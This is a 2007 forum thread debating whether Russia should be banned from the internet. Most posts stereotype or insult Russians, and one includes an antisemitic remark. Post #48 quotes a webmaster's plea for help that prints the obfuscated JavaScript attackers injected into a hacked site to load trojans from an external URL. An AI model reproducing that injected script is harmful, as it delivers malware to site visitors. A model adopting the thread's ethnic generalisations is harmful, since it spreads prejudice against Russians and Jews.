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Old 07-27-2007, 12:07 PM   #1
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ban russia from the internet? I say yes.

I have never heard of any russian sites that bring anything to the internet of value.

What you do have is...

illegal activity of all kinds.

enough is enough.
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Old 07-27-2007, 12:12 PM   #2
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The majority of Pedo traffic originates form the US. No think about that for a second.

If you knew a little russian (any kind) you would be amazed at how great sites there are avalible.
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Old 07-27-2007, 12:17 PM   #3
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This report from the IC3 (FBI & NW3C) says that americans are the real problem when it comes to online crime.
http://www.ic3.gov/media/annualrepor..._IC3Report.pdf

Top Ten Countries - Perpetrator
1. United States – 60.9%
2. United Kingdom – 15.9%
3. Nigeria – 5.9%
4. Canada – 5.6%
5. Romania – 1.6%
6. Italy – 1.2%
7. Netherlands – 1.2%
8. Russia– 1.1%
9. Germany – 0.7%
10. South Africa – 0.6%

Are you going to ban all americans from the internet now?
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Old 07-27-2007, 12:20 PM   #4
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This report from the IC3 (FBI & NW3C) says that americans are the real problem when it comes to online crime.
http://www.ic3.gov/media/annualrepor..._IC3Report.pdf

Top Ten Countries - Perpetrator
1. United States ? 60.9%
2. United Kingdom ? 15.9%
3. Nigeria ? 5.9%
4. Canada ? 5.6%
5. Romania ? 1.6%
6. Italy ? 1.2%
7. Netherlands ? 1.2%
8. Russia? 1.1%
9. Germany ? 0.7%
10. South Africa ? 0.6%

Are you going to ban all americans from the internet now?
1% funny as 90% of times you hear about cp, trojans, aff code replacing, spam etc its Russians.
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Old 07-27-2007, 12:24 PM   #5
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When something is wrong blame it on Russians – how fucking convenient
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Old 07-27-2007, 12:24 PM   #6
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1% funny as 90% of times you hear about cp, trojans, aff code replacing, spam etc its Russians.
Maybe we hear about russians all the time because they have been accused of being the red devil for so long that it is fixed in everyones mind and it is easier just to blame it on the russians every time..

About that report; it was made by a US government agency. You can decide for yourself if you believe it.. I do believe that it is true.
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Old 07-27-2007, 01:16 PM   #7
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This report from the IC3 (FBI & NW3C) says that americans are the real problem when it comes to online crime.
http://www.ic3.gov/media/annualrepor..._IC3Report.pdf

Top Ten Countries - Perpetrator
1. United States – 60.9%
2. United Kingdom – 15.9%
3. Nigeria – 5.9%
4. Canada – 5.6%
5. Romania – 1.6%
6. Italy – 1.2%
7. Netherlands – 1.2%
8. Russia– 1.1%
9. Germany – 0.7%
10. South Africa – 0.6%

Are you going to ban all americans from the internet now?
U know why? Cause when russians do their illegal shit they use USA proxys
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Old 07-27-2007, 01:28 PM   #8
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U know why? Cause when russians do their illegal shit they use USA proxys
i guess that is a theory.. not one i am buying into, but still a theory..
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Old 07-27-2007, 01:38 PM   #9
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I don't like to generalize, but I have to call it like I see it. I've had interactions for extended periods with several different Russians in the past 15 years. They were mostly sneaky and always working some kind of angle or agenda. I have 2 in my condo complex (of 12 units), that everyone hates and has constant problems with.

My father in law is a doctor and has also had some problems with a few Russian scammers. Is all of this a coincidence?

Let me tell you a little fucked up story about my last office job. I had an underling of the Russian persuasion who happened to be a scamming, lazy bastard who made friends with the entire office while I did all the work. I couldn't get rid of him though, because he was also jewish(the big boss was jewish) He was fucking ugly too. Did I say that before?

He pulled off a slow, masterful coup de'grace to take my department over a period of about 3 years. I won't go into details, but I'll say that he's definitely read the Art of War.

I got tired of telling my superiors he was no good, so I finally left. He's probably working on the next guy up the ladder. I warned his dumb ass, but he didn't listen to me. On the bright side, I've found out recently that my old department sucks ass now. Being missed is the best revenge. Thanks for listening, I haven't really talked about this shit since it happened.

The only thing only useful thing my dad ever told me was "never trust a Russian". He also told me that all girls look the same if you turn 'em upside down.

If you're Russian and not a criminal, please don't take offense. How can I have so many first hand experiences, and reliable second hand stories if the majority of Russians don't live up to the stereotypes?

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Old 07-27-2007, 01:42 PM   #10
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I don't like to generalize, but I have to call it like I see it. I've had interactions for extended periods with several different Russians in the past 15 years. They were mostly sneaky and always working some kind of angle or agenda. I have 2 in my condo complex (of 12 units), that everyone hates and has constant problems with.

My father in law is a doctor and has also had some problems with a few Russian scammers. Is all of this a coincidence?

Let me tell you a little fucked up story about my last office job. I had an underling of the Russian persuasion who happened to be a scamming, lazy bastard who made friends with the entire office while I did all the work. I couldn't get rid of him though, because he was also jewish(the big boss was jewish) He was fucking ugly too. Did I say that before?

He pulled off a slow, masterful coup de'grace to take my department over a period of about 3 years. I won't go into details, but I'll say that he's definitely read the Art of War.

I got tired of telling my superiors he was no good, so I finally left. He's probably working on the next guy up the ladder. I warned his dumb ass, but he didn't listen to me. On the bright side, I've found out recently that my old department sucks ass now. Being missed is the best revenge. Thanks for listening, I haven't really talked about this shit since it happened.

The only thing only useful thing my dad ever told me was "never trust a Russian". He also told me that all girls look the same if you turn 'em upside down.

If you're Russian and not a criminal, please don't take offense. How can I have so many first hand experiences, and reliable second hand stories if the majority of Russians don't live up to the stereotypes?
Sound more like you got outsmarted then scammed.
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Old 07-27-2007, 01:43 PM   #11
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I have nothing against Russians, Americans or Dutch people.
but I do against spyware, trojans etc... especially if it concerns my sites or computer ;]
so...stereotypes are just simplifications...
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Old 07-27-2007, 01:49 PM   #12
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1% funny as 90% of times you hear about cp, trojans, aff code replacing, spam etc its Russians.
and most of the time they are using estdomains/inhoster/intercage/cernel.
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Old 07-27-2007, 01:50 PM   #13
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Sound more like you got outsmarted then scammed.
I don't go around trying to get something for nothing. Someone basically came into my house and tried to take what I built. He created a perception of value without actually having any. I'm not a really a people person. I'm very talented at what I do and I work my ass off.

I'm smart enough to know exaclty what was happening as it was going down. I just chose not to play the game. I'm better off now, making my own hours and not having to deal with little punks with a sense of entitlement nipping at my heels.

I should thank he little shit for creating the drive in me to make a living without a boss.

Sorry about my rants, but this thread kind of hits a nerve with me...if you read my story above.

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Old 07-27-2007, 01:50 PM   #14
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Ban a group of people from the "internet"... a forum that's, ideally, supposed to be open to any and all as a bastion of free expression.

Nah... I don't think so.
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Old 07-27-2007, 01:51 PM   #15
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My vote is to ban Nigeria from the internet. Their scams are the lamest.
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I don't go around trying to get something for nothing. Someone basically came into my house and tried to take what I built. He created a perception of value without actually having any. I'm not a really a people person. I'm very talented at what I do and I work my ass off.

I'm smart enough to know exaclty what was happening as it was going down. I just chose not to play the game. I'm better off now, making my own hours and not having to deal with little punks with a sense of entitlement nipping at my heels.

I should thank he little shit for creating the drive in me to make a living without a boss.

That is like saying its OK they raped your daughter, because now she know she should protect yourself. Never-mind, this debate is pointless. Have a nice day
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what a bs idea..

the internet is about communication and freedom of speech
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I have never heard of any russian sites that bring anything to the internet of value.

What you do have is...

illegal activity of all kinds.

enough is enough.
Somebody tell me please why every fuckin' noob (no own projects, not contact info) has a sense of duty to post such a stupid threads about Russia?

swampthing baby, who are you and what are you doing here?
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Ban a Country from the Internet ???

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I have never heard of any russian sites that bring anything to the internet of value.

What you do have is...

illegal activity of all kinds.

enough is enough.
Ban russian sites... do I need to remind you guys... the US does not own the Internet... nor Canada or anyone else... yea I know the history on how the "Internet" came to be and so on, however setting up a poll regarding banning russian sites comes across as lame...

If Russians overall setup more of their companies on the Internet then their social system would be much stronger... they are not the richest country or peoples on the planet...

Just want to note that I have seen a fair amount of scams and poor sites hosted in Russia, however I have seen the same in the US...

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If you're Russian and not a criminal, please don't take offense.
And "offense" fro whom? From you? Don't make me laugh
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Somebody tell me please why every fuckin' noob (no own projects, not contact info) has a sense of duty to post such a stupid threads about Russia?

swampthing baby, who are you and what are you doing here?
what makes you think Im a newb? try to give me a serious answer if you can.
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That is like saying its OK they raped your daughter, because now she know she should protect yourself. Never-mind, this debate is pointless. Have a nice day
Could you make less sense please?
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What do you think of this Swampthing...

Swampthing they are asking for a website that you own, because they think you are just saying you have the experience.

They don't even see website(s) that you have setup as to prove you have any experience...

Perhaps if you have an ICQ number or a website people will take you on your word... thats just what comes to mind...

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the poll is tied!!

Ill call Captain America!
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what makes you think Im a newb? try to give me a serious answer if you can.
Do you have any projects? Is there anyone who can give some reference on you? How old are you? Depending on your thread I can say the following: you know nothing about the things you're trying to discuss. Here is a quote: "I have never heard of any russian sites that bring anything to the internet of value".
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Do you have any projects? Is there anyone who can give some reference on you? How old are you? Depending on your thread I can say the following: you know nothing about the things you're trying to discuss. Here is a quote: "I have never heard of any russian sites that bring anything to the internet of value".
Im aware of why you think Im a newb. I just wanted to see someone type it in.
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You have to take into account how many people have internet access in those countries too.
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U know why? Cause when russians do their illegal shit they use USA proxys
First, these stats need to be taken in balance with others - they are not caste in stone. And, tho agree to a level, there may be proxy server abuse by Russians and others in the same way any Euro country can have abuse.

Russian organized crime groups have been linked to various scams, but the same applies to US organized crime - they all play the same games.

Forgetting proxy scams, other offenses eg CP are show similar percentages in that, 62% of commercial child abuse imagery is hosted in US (forgetting "shared resources" among like-minded people), and, to throw out the percentages on these stats, 28% commercial child imagery is hosted in Russia - basically 90% of all commercial CP content is hosted in the US and Russia.
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We don't need the Internet... all we need to do is to learn how to be telepathic... well... its just an idea... What would DARPA say ^^

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I have never heard of any russian sites that bring anything to the internet of value.

What you do have is...

illegal activity of all kinds.

enough is enough.
you are a fucking idiot....and american

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This report from the IC3 (FBI & NW3C) says that americans are the real problem when it comes to online crime.
http://www.ic3.gov/media/annualrepor..._IC3Report.pdf

Top Ten Countries - Perpetrator
1. United States ? 60.9%
2. United Kingdom ? 15.9%
3. Nigeria ? 5.9%
4. Canada ? 5.6%
5. Romania ? 1.6%
6. Italy ? 1.2%
7. Netherlands ? 1.2%
8. Russia? 1.1%
9. Germany ? 0.7%
10. South Africa ? 0.6%

Are you going to ban all americans from the internet now?
That list is bullshit, all the times I got scammed it was russians or americans.
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Old 07-28-2007, 04:20 AM   #45
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I have never heard of any russian sites that bring anything to the internet of value.
Hey
do you know that Sergey Brinn is Russian originally?
he's one of google creators, just FYI ;)

as for the adult biz - i know several big guys that have Russian roots but don't publish this kind of info, just because such guys like you think that every Russian is a scammer.

why wouldn't you better think that in any country, in any nation there can be good and bad people?

where is the greatest democratic way of thinking, freedom of speech and thoughts, etc? what do i see? just a limited, one-sided point of view.
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Old 07-28-2007, 05:58 AM   #46
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Americans are muchhhhhhh bigger scammers then russians.But problem with russian they have hosts which allows spam and cp,meanwhile that cannot happen on US host.
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Old 07-28-2007, 06:19 AM   #47
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When something is wrong blame it on Russians ? how fucking convenient
At least someone got that right
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Old 07-28-2007, 06:56 AM   #48
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The VERY fucking first post about hacking i see after this thread:

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Hey guys

Im hoping someone can help me here with a problem i am having on a couple of my member sites being hacked.

Someone is managing to hack into my FTP server and inbedding a hidden remote file which is inserting malicious codes on my index page, that contain viruses via external url's. So anyone who reaches my index pages is hit with a trojan detection through there firewall!

The code which gets inbedded is always at the bottom of the index source code and it looks like this:

<script language="JavaScript">e = '0x00' + '5F';str1 = "&#37;E4%BC%B7%AA%C0%AD%AC%A7%B4%BB%E3%FE%AA%B7%AD %B7%BE%B7%B4%B7%AC%A7%E6%B8%B7%BC%BC%BB%B2%FE%E2%E 4%B7%BA%AE%BF%B3%BB%C0%AD%AE%BD%E3%FE%B8%AC%AC%B0% E6%F1%F1%A9%BB%AC%AE%B7%BD%B2%AC%F2%B7%B2%BA%B1%F1 %B4%BC%F1%AB%B0%B4%EF%F1%FE%C0%A9%B7%BC%AC%B8%E3%E F%C0%B8%BB%B7%B9%B8%AC%E3%EF%E2%E4%F1%B7%BA%AE%BF% B3%BB%E2%E4%F1%BC%B7%AA%E2";str=tmp='';for(i=0;i<s tr1.length;i+=3){tmp =unescape(str1.slice(i,i+3));str=str+String.fromCh arCode((tmp.charCodeAt(0)^e)-127);}document.write(str);</script>

When i upload my local clean copy of the index page it was over writing the infected file and he would pop up again with this code every 1 - 2 weeks.

The only further solution i have managed to find so far is to restrict FTP access from anywhere other than my local IP. Then we managed to detect this guy is in Russia and was accessing the remote file without using FTP and we banned all IP's from Russia! However i fear this is only a temporary solution as he can figure this out and spoof his IP address.

Anyone have any ideas what else i can do to keep this ass hole away??

Russian. You know, i knew it was gonna be a Russian when i read the first line. How much more do you guys need? You think this is coincidence?

Im not just randomly bashing Russia. I have no problem with Russians who run a clean ship. Its that internet scum i have a huge problem with. The people defending them here are either Russian or ethically correct hippies who scream racism if you point out any group.

You can say all you want but what i think of Russia in combination with the internet is not of something i heard from other people. Its something i see every fucking day with my own fucking eyes. How the hell can you ignore that and say its not true?
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Old 07-28-2007, 07:00 AM   #49
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Do you ever see Russians talking about Americans on the internet? They hate Americans and will do anything to fuck them over. They say it out in the open. "we're here to scam every American we can get".

They think its cool. They get bro points if they scammed yet another American or took yet another site down. They live in totally different world where scamming on the internet isnt considered a bad thing, at least not for that really, REALLY big fucking group and they will take every American Dollar they can get in any way possible. Because then they suddenly don't hate America anymore when it comes to money.

If all you idiots who blindly defend should see how those guys talk about everything non Russian maybe you would change your mind.
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Old 07-28-2007, 07:18 AM   #50
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Do you ever see Russians talking about Americans on the internet? They hate Americans and will do anything to fuck them over. They say it out in the open. "we're here to scam every American we can get".

They think its cool. They get bro points if they scammed yet another American or took yet another site down. They live in totally different world where scamming on the internet isnt considered a bad thing, at least not for that really, REALLY big fucking group and they will take every American Dollar they can get in any way possible. Because then they suddenly don't hate America anymore when it comes to money.

If all you idiots who blindly defend should see how those guys talk about everything non Russian maybe you would change your mind.
Can you read Russian to post here such bullshit?
I see nothing but fear & hate in your posts, I feel sorry for you...
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